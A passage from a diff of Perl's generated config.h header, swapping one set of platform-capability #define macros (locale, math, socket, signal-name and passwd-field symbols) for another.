HAS_SHMAT_PROTOTYPE is not defined to avoid conflicting defs. */ -#define HAS_NEWLOCALE /**/ -#define HAS_FREELOCALE /**/ -#define HAS_USELOCALE /**/ -/*#define HAS_QUERYLOCALE / **/ -#define I_XLOCALE /**/ +#define Shmat_t void * /**/ +#define HAS_SHMAT_PROTOTYPE /**/ -/* HAS_NEXTAFTER: - * This symbol, if defined, indicates that the nextafter routine is - * available to return the next machine representable double from - * x in direction y. +/* HAS_SOCKET: + * This symbol, if defined, indicates that the BSD socket interface is + * supported. */ -#define HAS_NEXTAFTER /**/ - -/* HAS_NEXTTOWARD: - * This symbol, if defined, indicates that the nexttoward routine is - * available to return the next machine representable long double from - * x in direction y. +/* HAS_SOCKETPAIR: + * This symbol, if defined, indicates that the BSD socketpair() call is + * supported. */ -#define HAS_NEXTTOWARD /**/ - -/* HAS_NL_LANGINFO: - * This symbol, if defined, indicates that the nl_langinfo routine is - * available to return local data. You will also need - * and therefore I_LANGINFO. +/* HAS_SOCKADDR_SA_LEN: + * This symbol, if defined, indicates that the struct sockaddr + * structure has a member called sa_len, indicating the length of + * the structure. */ -#define HAS_NL_LANGINFO /**/ - -/* HAS_OFF64_T: - * This symbol will be defined if the C compiler supports off64_t. +/* HAS_SIN6_SCOPE_ID: + * This symbol, if defined, indicates that the struct sockaddr_in6 + * structure has a member called sin6_scope_id. */ -/*#define HAS_OFF64_T / **/ +#define HAS_SOCKET /**/ +#define HAS_SOCKETPAIR /**/ +/*#define HAS_SOCKADDR_SA_LEN / **/ +#define HAS_SIN6_SCOPE_ID /**/ -/* HAS_PIPE2: - * This symbol, if defined, indicates that the pipe2 - * system call is available to create inter-process pipes. +/* USE_STAT_BLOCKS: + * This symbol is defined if this system has a stat structure declaring + * st_blksize and st_blocks. */ -#define HAS_PIPE2 /**/ +#ifndef USE_STAT_BLOCKS +#define USE_STAT_BLOCKS /**/ +#endif -/* HAS_PRCTL: - * This symbol, if defined, indicates that the prctl routine is - * available to set process title. - * Note that there are at least two prctl variants: Linux and Irix. - * While they are somewhat similar, they are incompatible. - */ -/* HAS_PRCTL_SET_NAME: - * This symbol, if defined, indicates that the prctl routine is - * available to set process title and supports PR_SET_NAME. +/* USE_STRUCT_COPY: + * This symbol, if defined, indicates that this C compiler knows how + * to copy structures. If undefined, you'll need to use a block copy + * routine of some sort instead. */ -#define HAS_PRCTL /**/ -#define HAS_PRCTL_SET_NAME /**/ +#define USE_STRUCT_COPY /**/ -/* HAS_PROCSELFEXE: - * This symbol is defined if PROCSELFEXE_PATH is a symlink - * to the absolute pathname of the executing program. +/* HAS_STRERROR: + * This symbol, if defined, indicates that the strerror routine is + * available to translate error numbers to strings. See the writeup + * of Strerror() in this file before you try to define your own. */ -/* PROCSELFEXE_PATH: - * If HAS_PROCSELFEXE is defined this symbol is the filename - * of the symbolic link pointing to the absolute pathname of - * the executing program. +/* HAS_SYS_ERRLIST: + * This symbol, if defined, indicates that the sys_errlist array is + * available to translate error numbers to strings. The extern int + * sys_nerr gives the size of that table. */ -#define HAS_PROCSELFEXE /**/ -#if defined(HAS_PROCSELFEXE) && !defined(PROCSELFEXE_PATH) -#define PROCSELFEXE_PATH "/proc/self/exe" /**/ -#endif - -/* HAS_PTHREAD_ATTR_SETSCOPE: - * This symbol, if defined, indicates that the pthread_attr_setscope - * system call is available to set the contention scope attribute of - * a thread attribute object. +/* Strerror: + * This preprocessor symbol is defined as a macro if strerror() is + * not available to translate error numbers to strings but sys_errlist[] + * array is there. */ -#define HAS_PTHREAD_ATTR_SETSCOPE /**/ +#define HAS_STRERROR /**/ +#define HAS_SYS_ERRLIST /**/ +#define Strerror(e) strerror(e) -/* HAS_PTRDIFF_T: - * This symbol will be defined if the C compiler supports ptrdiff_t. +/* HAS_STRTOUL: + * This symbol, if defined, indicates that the strtoul routine is + * available to provide conversion of strings to unsigned long. */ -#define HAS_PTRDIFF_T /**/ +#define HAS_STRTOUL /**/ -/* HAS_READV: - * This symbol, if defined, indicates that the readv routine is - * available to do gather reads. You will also need - * and there I_SYSUIO. +/* HAS_UNION_SEMUN: + * This symbol, if defined, indicates that the union semun is + * defined by including . If not, the user code + * probably needs to define it as: + * union semun { + * int val; + * struct semid_ds *buf; + * unsigned short *array; + * } */ -#define HAS_READV /**/ - -/* HAS_RECVMSG: - * This symbol, if defined, indicates that the recvmsg routine is - * available to send structured socket messages. +/* USE_SEMCTL_SEMUN: + * This symbol, if defined, indicates that union semun is + * used for semctl IPC_STAT. */ -#define HAS_RECVMSG /**/ - -/* HAS_REMAINDER: - * This symbol, if defined, indicates that the remainder routine is - * available to return the floating-point remainder. +/* USE_SEMCTL_SEMID_DS: + * This symbol, if defined, indicates that struct semid_ds * is + * used for semctl IPC_STAT. */ -#define HAS_REMAINDER /**/ +/*#define HAS_UNION_SEMUN / **/ +#define USE_SEMCTL_SEMUN /**/ +#define USE_SEMCTL_SEMID_DS /**/ -/* HAS_REMQUO: - * This symbol, if defined, indicates that the remquo routine is - * available to return the remainder and part of quotient. +/* HAS_VFORK: + * This symbol, if defined, indicates that vfork() exists. */ -#define HAS_REMQUO /**/ +/*#define HAS_VFORK / **/ -/* HAS_RINT: - * This symbol, if defined, indicates that the rint routine is - * available to return the nearest integral value to x as double - * using the current rounding mode. +/* HAS_PSEUDOFORK: + * This symbol, if defined, indicates that an emulation of the + * fork routine is available. */ -#define HAS_RINT /**/ +/*#define HAS_PSEUDOFORK / **/ -/* HAS_ROUND: - * This symbol, if defined, indicates that the round routine is - * available to round to nearest integer, away from zero. +/* Signal_t: + * This symbol's value is either "void" or "int", corresponding to the + * appropriate return type of a signal handler. Thus, you can declare + * a signal handler using "Signal_t (*handler)()", and define the + * handler using "Signal_t handler(sig)". */ -#define HAS_ROUND /**/ +#define Signal_t void /* Signal handler's return type */ -/* HAS_SBRK_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the sbrk() function. Otherwise, it is up - * to the program to supply one. Good guesses are - * extern void* sbrk(int); - * extern void* sbrk(size_t); +/* HASVOLATILE: + * This symbol, if defined, indicates that this C compiler knows about + * the volatile declaration. */ -#define HAS_SBRK_PROTO /**/ +#define HASVOLATILE /**/ +#ifndef HASVOLATILE +#define volatile +#endif -/* HAS_SCALBN: - * This symbol, if defined, indicates that the scalbn routine is - * available to multiply floating-point number by integral power - * of radix. +/* I_DIRENT: + * This symbol, if defined, indicates to the C program that it should + * include . Using this symbol also triggers the definition + * of the Direntry_t define which ends up being 'struct dirent' or + * 'struct direct' depending on the availability of . */ -#define HAS_SCALBN /**/ - -/* HAS_SCALBNL: - * This symbol, if defined, indicates that the scalbnl routine is - * available. If ilogbl is also present we can emulate frexpl. +/* DIRNAMLEN: + * This symbol, if defined, indicates to the C program that the length + * of directory entry names is provided by a d_namlen field. Otherwise + * you need to do strlen() on the d_name field. */ -#define HAS_SCALBNL /**/ - -/* HAS_SENDMSG: - * This symbol, if defined, indicates that the sendmsg routine is - * available to send structured socket messages. +/* Direntry_t: + * This symbol is set to 'struct direct' or 'struct dirent' depending on + * whether dirent is available or not. You should use this pseudo type to + * portably declare your directory entries. */ -#define HAS_SENDMSG /**/ +#define I_DIRENT /**/ +/*#define DIRNAMLEN / **/ +#define Direntry_t struct dirent -/* HAS_SETITIMER: - * This symbol, if defined, indicates that the setitimer routine is - * available to set interval timers. +/* I_GRP: + * This symbol, if defined, indicates to the C program that it should + * include . */ -#define HAS_SETITIMER /**/ - -/* HAS_SETPROCTITLE: - * This symbol, if defined, indicates that the setproctitle routine is - * available to set process title. +/* GRPASSWD: + * This symbol, if defined, indicates to the C program that struct group + * in contains gr_passwd. */ -/*#define HAS_SETPROCTITLE / **/ +#define I_GRP /**/ +#define GRPASSWD /**/ -/* HAS_SIGNBIT: - * This symbol, if defined, indicates that the signbit routine is - * available to check if the given number has the sign bit set. - * This should include correct testing of -0.0. This will only be set - * if the signbit() routine is safe to use with the NV type used internally - * in perl. Users should call Perl_signbit(), which will be #defined to - * the system's signbit() function or macro if this symbol is defined. +/* I_NDBM: + * This symbol, if defined, indicates that exists and should + * be included. */ -#define HAS_SIGNBIT /**/ - -/* HAS_SIGPROCMASK: - * This symbol, if defined, indicates that the sigprocmask - * system call is available to examine or change the signal mask - * of the calling process. +/* I_GDBMNDBM: + * This symbol, if defined, indicates that exists and should + * be included. This was the location of the ndbm.h compatibility file + * in RedHat 7.1. */ -#define HAS_SIGPROCMASK /**/ - -/* USE_SITECUSTOMIZE: - * This symbol, if defined, indicates that sitecustomize should - * be used. +/* I_GDBM_NDBM: + * This symbol, if defined, indicates that exists and should + * be included. This is the location of the ndbm.h compatibility file + * in Debian 4.0. */ -#ifndef USE_SITECUSTOMIZE -/*#define USE_SITECUSTOMIZE / **/ -#endif - -/* HAS_SNPRINTF: - * This symbol, if defined, indicates that the snprintf () library - * function is available for use. +/* NDBM_H_USES_PROTOTYPES: + * This symbol, if defined, indicates that uses real ANSI C + * prototypes instead of K&R style function declarations without any + * parameter information. While ANSI C prototypes are supported in C++, + * K&R style function declarations will yield errors. */ -/* HAS_VSNPRINTF: - * This symbol, if defined, indicates that the vsnprintf () library - * function is available for use. +/* GDBMNDBM_H_USES_PROTOTYPES: + * This symbol, if defined, indicates that uses real ANSI C + * prototypes instead of K&R style function declarations without any + * parameter information. While ANSI C prototypes are supported in C++, + * K&R style function declarations will yield errors. */ -#define HAS_SNPRINTF /**/ -#define HAS_VSNPRINTF /**/ - -/* HAS_SOCKATMARK: - * This symbol, if defined, indicates that the sockatmark routine is - * available to test whether a socket is at the out-of-band mark. +/* GDBM_NDBM_H_USES_PROTOTYPES: + * This symbol, if defined, indicates that uses real ANSI C + * prototypes instead of K&R style function declarations without any + * parameter information. While ANSI C prototypes are supported in C++, + * K&R style function declarations will yield errors. */ -#define HAS_SOCKATMARK /**/ +#define I_NDBM /**/ +/*#define I_GDBMNDBM / **/ +/*#define I_GDBM_NDBM / **/ +#define NDBM_H_USES_PROTOTYPES /**/ +/*#define GDBMNDBM_H_USES_PROTOTYPES / **/ +/*#define GDBM_NDBM_H_USES_PROTOTYPES / **/ -/* HAS_SOCKATMARK_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the sockatmark() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern int sockatmark(int); +/* I_NETDB: + * This symbol, if defined, indicates that exists and + * should be included. */ -#define HAS_SOCKATMARK_PROTO /**/ +#define I_NETDB /**/ -/* HAS_SOCKS5_INIT: - * This symbol, if defined, indicates that the socks5_init routine is - * available to initialize SOCKS 5. +/* I_NET_ERRNO: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_SOCKS5_INIT / **/ +/*#define I_NET_ERRNO / **/ -/* HAS_SQRTL: - * This symbol, if defined, indicates that the sqrtl routine is - * available to do long double square roots. +/* I_PWD: + * This symbol, if defined, indicates to the C program that it should + * include . */ -#define HAS_SQRTL /**/ - -/* HAS_SETRESGID_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the setresgid() function. Otherwise, it is up - * to the program to supply one. Good guesses are - * extern int setresgid(uid_t ruid, uid_t euid, uid_t suid); +/* PWQUOTA: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_quota. */ -/*#define HAS_SETRESGID_PROTO / **/ - -/* HAS_SETRESUID_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the setresuid() function. Otherwise, it is up - * to the program to supply one. Good guesses are - * extern int setresuid(uid_t ruid, uid_t euid, uid_t suid); +/* PWAGE: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_age. */ -/*#define HAS_SETRESUID_PROTO / **/ - -/* HAS_STRUCT_STATFS_F_FLAGS: - * This symbol, if defined, indicates that the struct statfs - * does have the f_flags member containing the mount flags of - * the filesystem containing the file. - * This kind of struct statfs is coming from (BSD 4.3), - * not from (SYSV). Older BSDs (like Ultrix) do not - * have statfs() and struct statfs, they have ustat() and getmnt() - * with struct ustat and struct fs_data. +/* PWCHANGE: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_change. */ -#define HAS_STRUCT_STATFS_F_FLAGS /**/ - -/* HAS_STRUCT_STATFS: - * This symbol, if defined, indicates that the struct statfs - * to do statfs() is supported. +/* PWCLASS: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_class. */ -#define HAS_STRUCT_STATFS /**/ - -/* HAS_FSTATVFS: - * This symbol, if defined, indicates that the fstatvfs routine is - * available to stat filesystems by file descriptors. +/* PWEXPIRE: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_expire. */ -#define HAS_FSTATVFS /**/ - -/* HAS_STRERROR_L: - * This symbol, if defined, indicates that the strerror_l routine is - * available to return the error message for a given errno value in - * a particular locale (identified by a locale_t object). +/* PWCOMMENT: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_comment. */ -#define HAS_STRERROR_L /**/ - -/* HAS_STRFTIME: - * This symbol, if defined, indicates that the strftime routine is - * available to do time formatting. +/* PWGECOS: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_gecos. */ -#define HAS_STRFTIME /**/ - -/* HAS_STRLCAT: - * This symbol, if defined, indicates that the strlcat () routine is - * available to do string concatenation. +/* PWPASSWD: + * This symbol, if defined, indicates to the C program that struct passwd + * contains pw_passwd. */ -/*#define HAS_STRLCAT / **/ +#define I_PWD /**/ +/*#define PWQUOTA / **/ +/*#define PWAGE / **/ +/*#define PWCHANGE / **/ +/*#define PWCLASS / **/ +/*#define PWEXPIRE / **/ +/*#define PWCOMMENT / **/ +#define PWGECOS /**/ +#define PWPASSWD /**/ -/* HAS_STRLCPY: - * This symbol, if defined, indicates that the strlcpy () routine is - * available to do string copying. +/* I_SYSUIO: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_STRLCPY / **/ +#define I_SYSUIO /**/ -/* HAS_STRNLEN: - * This symbol, if defined, indicates that the strnlen () routine is - * available to check the length of a string up to a maximum. +/* I_STDARG: + * This symbol, if defined, indicates that exists and should + * be included. */ -#define HAS_STRNLEN /**/ - -/* HAS_STRTOLD: - * This symbol, if defined, indicates that the strtold routine is - * available to convert strings to long doubles. +/* I_VARARGS: + * This symbol, if defined, indicates to the C program that it should + * include . */ -#define HAS_STRTOLD /**/ +#define I_STDARG /**/ +/*#define I_VARARGS / **/ -/* HAS_STRTOLL: - * This symbol, if defined, indicates that the strtoll routine is - * available to convert strings to long longs. +/* Free_t: + * This variable contains the return type of free(). It is usually + * void, but occasionally int. */ -#define HAS_STRTOLL /**/ - -/* HAS_STRTOQ: - * This symbol, if defined, indicates that the strtoq routine is - * available to convert strings to long longs (quads). +/* Malloc_t: + * This symbol is the type of pointer returned by malloc and realloc. */ -#define HAS_STRTOQ /**/ +#define Malloc_t void * /**/ +#define Free_t void /**/ -/* HAS_STRTOULL: - * This symbol, if defined, indicates that the strtoull routine is - * available to convert strings to unsigned long longs. +/* PERL_MALLOC_WRAP: + * This symbol, if defined, indicates that we'd like malloc wrap checks. */ -#define HAS_STRTOULL /**/ +#define PERL_MALLOC_WRAP /**/ -/* HAS_STRTOUQ: - * This symbol, if defined, indicates that the strtouq routine is - * available to convert strings to unsigned long longs (quads). +/* MYMALLOC: + * This symbol, if defined, indicates that we're using our own malloc. */ -#define HAS_STRTOUQ /**/ +/*#define MYMALLOC / **/ -/* HAS_SYSCALL_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the syscall() function. Otherwise, it is up - * to the program to supply one. Good guesses are - * extern int syscall(int, ...); - * extern int syscall(long, ...); +/* CAN_PROTOTYPE: + * If defined, this macro indicates that the C compiler can handle + * function prototypes. */ -#define HAS_SYSCALL_PROTO /**/ - -/* HAS_TELLDIR_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the telldir() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern long telldir(DIR*); +/* _: + * This macro is used to declare function parameters for folks who want + * to make declarations with prototypes using a different style than + * the above macros. Use double parentheses. For example: + * + * int main _((int argc, char *argv[])); */ -#define HAS_TELLDIR_PROTO /**/ +#define CAN_PROTOTYPE /**/ +#ifdef CAN_PROTOTYPE +#define _(args) args +#else +#define _(args) () +#endif -/* HAS_TGAMMA: - * This symbol, if defined, indicates that the tgamma routine is - * available to do the gamma function. See also HAS_LGAMMA. +/* SH_PATH: + * This symbol contains the full pathname to the shell used on this + * on this system to execute Bourne shell scripts. Usually, this will be + * /bin/sh, though it's possible that some systems will have /bin/ksh, + * /bin/pdksh, /bin/ash, /bin/bash, or even something such as + * D:/bin/sh.exe. */ -#define HAS_TGAMMA /**/ +#define SH_PATH "/bin/sh" /**/ -/* HAS_CTIME64: - * This symbol, if defined, indicates that the ctime64 () routine is - * available to do the 64bit variant of ctime () - */ -/* HAS_LOCALTIME64: - * This symbol, if defined, indicates that the localtime64 () routine is - * available to do the 64bit variant of localtime () - */ -/* HAS_GMTIME64: - * This symbol, if defined, indicates that the gmtime64 () routine is - * available to do the 64bit variant of gmtime () - */ -/* HAS_MKTIME64: - * This symbol, if defined, indicates that the mktime64 () routine is - * available to do the 64bit variant of mktime () +/* SIG_NAME: + * This symbol contains a list of signal names in order of + * signal number. This is intended + * to be used as a static array initialization, like this: + * char *sig_name[] = { SIG_NAME }; + * The signals in the list are separated with commas, and each signal + * is surrounded by double quotes. There is no leading SIG in the signal + * name, i.e. SIGQUIT is known as "QUIT". + * Gaps in the signal numbers (up to NSIG) are filled in with NUMnn, + * etc., where nn is the actual signal number (e.g. NUM37). + * The signal number for sig_name[i] is stored in sig_num[i]. + * The last element is 0 to terminate the list with a NULL. This + * corresponds to the 0 at the end of the sig_name_init list. + * Note that this variable is initialized from the sig_name_init, + * not from sig_name (which is unused). */ -/* HAS_DIFFTIME64: - * This symbol, if defined, indicates that the difftime64 () routine is - * available to do the 64bit variant of difftime () +/* SIG_NUM: + * This symbol contains a list of signal numbers, in the same order as the + * SIG_NAME list. It is suitable for static array initialization, as in: + * int sig_num[] = { SIG_NUM }; + * The signals in the list are separated with commas, and the indices + * within that list and the SIG_NAME list match, so it's easy to compute + * the signal name from a number or vice versa at the price of a small + * dynamic linear lookup. + * Duplicates are allowed, but are moved to the end of the list. + * The signal number corresponding to sig_name[i] is sig_number[i]. + * if (i < NSIG) then sig_number[i] == i. + * The last element is 0, corresponding to the 0 at the end of + * the sig_name_init list. + * Note that this variable is initialized from the sig_num_init, + * not from sig_num (which is unused). */ -/* HAS_ASCTIME64: - * This symbol, if defined, indicates that the asctime64 () routine is - * available to do the 64bit variant of asctime () +/* SIG_SIZE: + * This variable contains the number of elements of the SIG_NAME + * and SIG_NUM arrays, excluding the final NULL entry. */ -/*#define HAS_CTIME64 / **/ -/*#define HAS_LOCALTIME64 / **/ -/*#define HAS_GMTIME64 / **/ -/*#define HAS_MKTIME64 / **/ -/*#define HAS_DIFFTIME64 / **/ -/*#define HAS_ASCTIME64 / **/ +#define SIG_NAME "ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "BUS", "FPE", "KILL", "USR1", "SEGV", "USR2", "PIPE", "ALRM", "TERM", "STKFLT", "CHLD", "CONT", "STOP", "TSTP", "TTIN", "TTOU", "URG", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "IO", "PWR", "SYS", "NUM32", "NUM33", "RTMIN", "NUM35", "NUM36", "NUM37", "NUM38", "NUM39", "NUM40", "NUM41", "NUM42", "NUM43", "NUM44", "NUM45", "NUM46", "NUM47", "NUM48", "NUM49", "NUM50", "NUM51", "NUM52", "NUM53", "NUM54", "NUM55", "NUM56", "NUM57", "NUM58", "NUM59", "NUM60", "NUM61", "NUM62", "NUM63", "RTMAX", "IOT", "CLD", "POLL", "UNUSED", 0 /**/ +#define SIG_NUM 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 6, 17, 29, 31, 0 /**/ +#define SIG_SIZE 69 /**/ -/* HAS_TIMEGM: - * This symbol, if defined, indicates that the timegm routine is - * available to do the opposite of gmtime () +/* STDCHAR: + * This symbol is defined to be the type of char used in stdio.h. + * It has the values "unsigned char" or "char". */ -#define HAS_TIMEGM /**/ +#define STDCHAR char /**/ -/* HAS_TRUNC: - * This symbol, if defined, indicates that the trunc routine is - * available to round doubles towards zero. +/* PERL_USE_DEVEL: + * This symbol, if defined, indicates that Perl was configured with + * -Dusedevel, to enable development features. This should not be + * done for production builds. */ -#define HAS_TRUNC /**/ +#define PERL_USE_DEVEL /**/ -/* HAS_TRUNCL: - * This symbol, if defined, indicates that the truncl routine is - * available. If copysignl is also present we can emulate modfl. +/* HAS_ATOLF: + * This symbol, if defined, indicates that the atolf routine is + * available to convert strings into long doubles. */ -#define HAS_TRUNCL /**/ +/*#define HAS_ATOLF / **/ -/* U32_ALIGNMENT_REQUIRED: - * This symbol, if defined, indicates that you must access - * character data through U32-aligned pointers. +/* HAS_ATOLL: + * This symbol, if defined, indicates that the atoll routine is + * available to convert strings into long longs. */ -#ifndef U32_ALIGNMENT_REQUIRED -#define U32_ALIGNMENT_REQUIRED /**/ -#endif +#define HAS_ATOLL /**/ -/* HAS_UALARM: - * This symbol, if defined, indicates that the ualarm routine is - * available to do alarms with microsecond granularity. +/* HAS__FWALK: + * This symbol, if defined, indicates that the _fwalk system call is + * available to apply a function to all the file handles. */ -#define HAS_UALARM /**/ +/*#define HAS__FWALK / **/ -/* HAS_UNORDERED: - * This symbol, if defined, indicates that the unordered routine is - * available to check whether two doubles are unordered - * (effectively: whether either of them is NaN) +/* HAS_AINTL: + * This symbol, if defined, indicates that the aintl routine is + * available. If copysignl is also present we can emulate modfl. */ -/*#define HAS_UNORDERED / **/ +/*#define HAS_AINTL / **/ -/* HAS_UNSETENV: - * This symbol, if defined, indicates that the unsetenv () routine is - * available for use. +/* HAS_BUILTIN_CHOOSE_EXPR: + * Can we handle GCC builtin for compile-time ternary-like expressions */ -#define HAS_UNSETENV /**/ - -/* HAS_USLEEP_PROTO: - * This symbol, if defined, indicates that the system provides - * a prototype for the usleep() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern int usleep(useconds_t); +/* HAS_BUILTIN_EXPECT: + * Can we handle GCC builtin for telling that certain values are more + * likely */ -#define HAS_USLEEP_PROTO /**/ +#define HAS_BUILTIN_EXPECT /**/ +#define HAS_BUILTIN_CHOOSE_EXPR /**/ -/* HAS_USTAT: - * This symbol, if defined, indicates that the ustat system call is - * available to query file system statistics by dev_t. +/* HAS_C99_VARIADIC_MACROS: + * If defined, the compiler supports C99 variadic macros. */ -#define HAS_USTAT /**/ +#define HAS_C99_VARIADIC_MACROS /**/ -/* HAS_WCSCMP: - * This symbol, if defined, indicates that the wcscmp routine is - * available to compare two wide character strings. +/* HAS_CLASS: + * This symbol, if defined, indicates that the class routine is + * available to classify doubles. Available for example in AIX. + * The returned values are defined in and are: + * + * FP_PLUS_NORM Positive normalized, nonzero + * FP_MINUS_NORM Negative normalized, nonzero + * FP_PLUS_DENORM Positive denormalized, nonzero + * FP_MINUS_DENORM Negative denormalized, nonzero + * FP_PLUS_ZERO +0.0 + * FP_MINUS_ZERO -0.0 + * FP_PLUS_INF +INF + * FP_MINUS_INF -INF + * FP_NANS Signaling Not a Number (NaNS) + * FP_NANQ Quiet Not a Number (NaNQ) */ -#define HAS_WCSCMP /**/ +/*#define HAS_CLASS / **/ -/* HAS_WCSXFRM: - * This symbol, if defined, indicates that the wcsxfrm routine is - * available to tranform a wide character string for wcscmp(). +/* HAS_CLEARENV: + * This symbol, if defined, indicates that the clearenv () routine is + * available for use. */ -#define HAS_WCSXFRM /**/ +#define HAS_CLEARENV /**/ -/* HAS_WRITEV: - * This symbol, if defined, indicates that the writev routine is - * available to do scatter writes. +/* HAS_STRUCT_CMSGHDR: + * This symbol, if defined, indicates that the struct cmsghdr + * is supported. */ -#define HAS_WRITEV /**/ +#define HAS_STRUCT_CMSGHDR /**/ -/* DEFAULT_INC_EXCLUDES_DOT: - * This symbol, if defined, removes the legacy default behavior of - * including '.' at the end of @INC. +/* HAS_COPYSIGNL: + * This symbol, if defined, indicates that the copysignl routine is + * available. If aintl is also present we can emulate modfl. */ -#define DEFAULT_INC_EXCLUDES_DOT /**/ +#define HAS_COPYSIGNL /**/ -/* USE_DYNAMIC_LOADING: - * This symbol, if defined, indicates that dynamic loading of - * some sort is available. +/* USE_CPLUSPLUS: + * This symbol, if defined, indicates that a C++ compiler was + * used to compiled Perl and will be used to compile extensions. */ -#define USE_DYNAMIC_LOADING /**/ +/*#define USE_CPLUSPLUS / **/ -/* FFLUSH_NULL: - * This symbol, if defined, tells that fflush(NULL) correctly - * flushes all pending stdio output without side effects. In - * particular, on some platforms calling fflush(NULL) *still* - * corrupts STDIN if it is a pipe. - */ -/* FFLUSH_ALL: - * This symbol, if defined, tells that to flush - * all pending stdio output one must loop through all - * the stdio file handles stored in an array and fflush them. - * Note that if fflushNULL is defined, fflushall will not - * even be probed for and will be left undefined. +/* HAS_DBMINIT_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the dbminit() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern int dbminit(char *); */ -#define FFLUSH_NULL /**/ -/*#define FFLUSH_ALL / **/ +#define HAS_DBMINIT_PROTO /**/ -/* I_BFD: - * This symbol, if defined, indicates that exists and - * can be included. +/* HAS_DIR_DD_FD: + * This symbol, if defined, indicates that the the DIR* dirstream + * structure contains a member variable named dd_fd. */ -/*#define I_BFD / **/ +/*#define HAS_DIR_DD_FD / **/ -/* I_CRYPT: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_DIRFD: + * This manifest constant lets the C program know that dirfd + * is available. */ -#define I_CRYPT /**/ +#define HAS_DIRFD /**/ -/* DB_Prefix_t: - * This symbol contains the type of the prefix structure element - * in the header file. In older versions of DB, it was - * int, while in newer ones it is u_int32_t. - */ -/* DB_Hash_t: - * This symbol contains the type of the prefix structure element - * in the header file. In older versions of DB, it was - * int, while in newer ones it is size_t. - */ -/* DB_VERSION_MAJOR_CFG: - * This symbol, if defined, defines the major version number of - * Berkeley DB found in the header when Perl was configured. - */ -/* DB_VERSION_MINOR_CFG: - * This symbol, if defined, defines the minor version number of - * Berkeley DB found in the header when Perl was configured. - * For DB version 1 this is always 0. - */ -/* DB_VERSION_PATCH_CFG: - * This symbol, if defined, defines the patch version number of - * Berkeley DB found in the header when Perl was configured. - * For DB version 1 this is always 0. +/* DLSYM_NEEDS_UNDERSCORE: + * This symbol, if defined, indicates that we need to prepend an + * underscore to the symbol name before calling dlsym(). This only + * makes sense if you *have* dlsym, which we will presume is the + * case if you're using dl_dlopen.xs. */ -#define DB_Hash_t u_int32_t /**/ -#define DB_Prefix_t size_t /**/ -#define DB_VERSION_MAJOR_CFG 5 /**/ -#define DB_VERSION_MINOR_CFG 1 /**/ -#define DB_VERSION_PATCH_CFG 29 /**/ +/*#define DLSYM_NEEDS_UNDERSCORE / **/ -/* I_FENV: - * This symbol, if defined, indicates to the C program that it should - * include to get the floating point environment definitions. +/* HAS_FAST_STDIO: + * This symbol, if defined, indicates that the "fast stdio" + * is available to manipulate the stdio buffers directly. */ -#define I_FENV /**/ +#define HAS_FAST_STDIO /**/ -/* I_FP: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FCHDIR: + * This symbol, if defined, indicates that the fchdir routine is + * available to change directory using a file descriptor. */ -/*#define I_FP / **/ +#define HAS_FCHDIR /**/ -/* I_FP_CLASS: - * This symbol, if defined, indicates that exists and - * should be included. +/* FCNTL_CAN_LOCK: + * This symbol, if defined, indicates that fcntl() can be used + * for file locking. Normally on Unix systems this is defined. + * It may be undefined on VMS. */ -/*#define I_FP_CLASS / **/ +#define FCNTL_CAN_LOCK /**/ -/* I_IEEEFP: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FINITE: + * This symbol, if defined, indicates that the finite routine is + * available to check whether a double is finite (non-infinity non-NaN). */ -/*#define I_IEEEFP / **/ +#define HAS_FINITE /**/ -/* I_INTTYPES: - * This symbol, if defined, indicates to the C program that it should - * include . +/* HAS_FINITEL: + * This symbol, if defined, indicates that the finitel routine is + * available to check whether a long double is finite + * (non-infinity non-NaN). */ -#define I_INTTYPES /**/ +#define HAS_FINITEL /**/ -/* I_LANGINFO: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FLOCK_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the flock() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern int flock(int, int); */ -#define I_LANGINFO /**/ +#define HAS_FLOCK_PROTO /**/ -/* I_LIBUTIL: - * This symbol, if defined, indicates that exists and - * should be included. +/* HAS_FP_CLASS: + * This symbol, if defined, indicates that the fp_class routine is + * available to classify doubles. Available for example in Digital UNIX. + * The returned values are defined in and are: + * + * FP_SNAN Signaling NaN (Not-a-Number) + * FP_QNAN Quiet NaN (Not-a-Number) + * FP_POS_INF +infinity + * FP_NEG_INF -infinity + * FP_POS_NORM Positive normalized + * FP_NEG_NORM Negative normalized + * FP_POS_DENORM Positive denormalized + * FP_NEG_DENORM Negative denormalized + * FP_POS_ZERO +0.0 (positive zero) + * FP_NEG_ZERO -0.0 (negative zero) */ -/*#define I_LIBUTIL / **/ +/*#define HAS_FP_CLASS / **/ -/* I_MALLOCMALLOC: - * This symbol, if defined, indicates to the C program that it should - * include . +/* HAS_FPCLASS: + * This symbol, if defined, indicates that the fpclass routine is + * available to classify doubles. Available for example in Solaris/SVR4. + * The returned values are defined in and are: + * 